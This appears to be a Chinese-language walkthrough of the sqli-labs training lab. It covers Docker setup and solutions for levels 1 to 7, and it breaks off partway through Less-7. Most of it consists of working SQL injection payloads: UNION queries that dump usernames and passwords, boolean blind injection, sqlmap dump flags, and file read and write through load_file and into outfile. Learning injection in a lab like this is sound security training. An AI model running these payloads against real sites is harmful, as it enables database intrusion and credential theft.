靶场搭建
apt-get update #更新源
apt-get install docker docker-compose # 安装docker和docker-compose
systemctl start docker #启动docker
docker search sqli-labs #搜索镜像
docker pull acgpiano/sqli-labs #下载镜像
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs # 启动容器
访问web端:
创建数据库
sql注入练习
建议使用手动注入,手动注入可以更加了解到sql注入的原理,使用工具可以更快的查询到数据新手不推荐使用工具。
sql基本知识:
sql语句:
select schema_name from information_schema.schemata; #查询所有数据库
select table_name from information_schema.tables where table_schema='security'; #查询security数据库内表
select column_name from information_schema.columns where table_name='users'; #查询users字段名
select username,password from security.users;#查询username字段和password字段内容
系统查询:
select system_user();#显示系统用户
select user();#显示当前用户(登录用户)
select database(); #显示当前数据库
select version(); #显示当前数据库版本
select @@datadir; #显示当前数据库安装目录
select @@version_compile_os; 显示当前操作系统版本
函数:
group_concat() ##将所有数据拼接成一行进行显示
concat_ws(“-”,a,b) ##将数据按照格式排列
left(database(),1)='s' ##从左截取database()的前n位,正确返回1,错误返回0
regexp() ## 匹配正则表达式函数
like() ## 匹配相似表达式
ascii() ##将某个字符转换为ascii码
sbustr(a,b,c) #从位置b开始,截取a字符串c为长度
chr('数字') 使用python中的两个函数判断当前ascii的值
select left(database(),1)=‘s’;
select user() regexp ‘r’;
select user() like’ro%';
Less-1
判断字符型和数字型注入
and 1=2时没有报错说明时字符型注入
反之数值型就会报错
手动注入
使用单引号闭合报错发现注入点。
判断列数:
order by分组
–+为注释语句,不执行后面语句
发现列为4报错,只有3列。
使用联合查询进行语句拼接。
我们可以在3显示位置进行语句拼接进行查询数据库。
limit 0,1
这里可以使用group_concat()将所有数据拼接成一行进行显示。
查询数据表名:
查询到数据字段
可以转换为十六进制代码执行,注意转换单引号为0x后面的单引号省略,使用
因为users表内有username和password可以使用concat_ws函数进行显示
http://192.168.252.128/Less-1/?id=-1’ union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+
工具注入
使用sqlmap直接注入:
爆数据库 -dbs
-D 爆指定数据库表 --tables
-T 爆指定数据库字段 --columns
-C 爆指定字段内容 --dump
Less-2
手动注入
使用id=1‘报错发现注入点
判断为数字型
判断列为3
注意这里不能使单引号闭合,因为时数字型注入。
方法与上面相同,这里直接引用Less-1的语句即可注意id=1后没有单引号。
sqlmap也是相同用法。
Less-3
手动注入
发现id值使用()包裹
对比Less-1可以看出Less-1使用双引号包裹语句,而Less-2没有使用符号包裹语句,而Less-3使用”)进行闭合。
我们使用)–+注释后面的语句就会变成id=1‘)–+‘),注释符后面的语句不会执行,这样就找到了注入方法。
http://192.168.252.128/Less-3/?id=-1’) union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+
sqlmap与Less-1相同
Less-4
手动注入
id=1’未发现注入点
使用双引号发现报错
自己构建“)进行闭合语句–+注释后面系统的”) LIMIT 0,1’
和Less-1一样爆出数据库和表。
构建注入语句:http://192.168.252.128/Less-4/?id=-1")union select 1,2,group_concat(concat_ws(‘~’,username,password)) from security.users–+
sqlmap 注入直接和Less-1相同。
Less-5
手工注入
id=1时为you are in说明语句执行成功
这里加单引号报错提示。
进行布尔盲注判断列。
这里可以看到正确返回可以看到you are in …而错误为空
发现可以通过函数进行判断数据库名left 判断数据库名:
http://192.168.252.128/Less-5/?id=1' and left ((select database()),1)='s'--+ #判断数据库的名截取第一位为s判断是否正确正确返回you are in
这里建议使用工具进行字典爆破
burp suite
发送值到暴力破解模块
点击启动
这里也可以爆破出数据库名
可以接下来爆破数据库的第二位
这里随便填写一位
爆破出第二位为e
这种方法有点慢,还可以通过脚本的方式进行破解,或者使用sqlmap
sqlmap
Less-6
此关和上面第五关将单引号改为双引号
这里不在赘述。
Less-7
手工注入
函数:
load_file() #读取本地文件 例:select load_file("\var\www\html\test.php");
into outfile #写文件 例:select 'mysql' into outfile 'test.php'; 或者select 'mysql' into outfile '\var\www\html\test.php';
这里提示我们使用outfile函数
发现注入点,我们使用符号进行闭合
通过多次判断可知,输入/?id=1’)) --+,回显结果正确
判断列数为三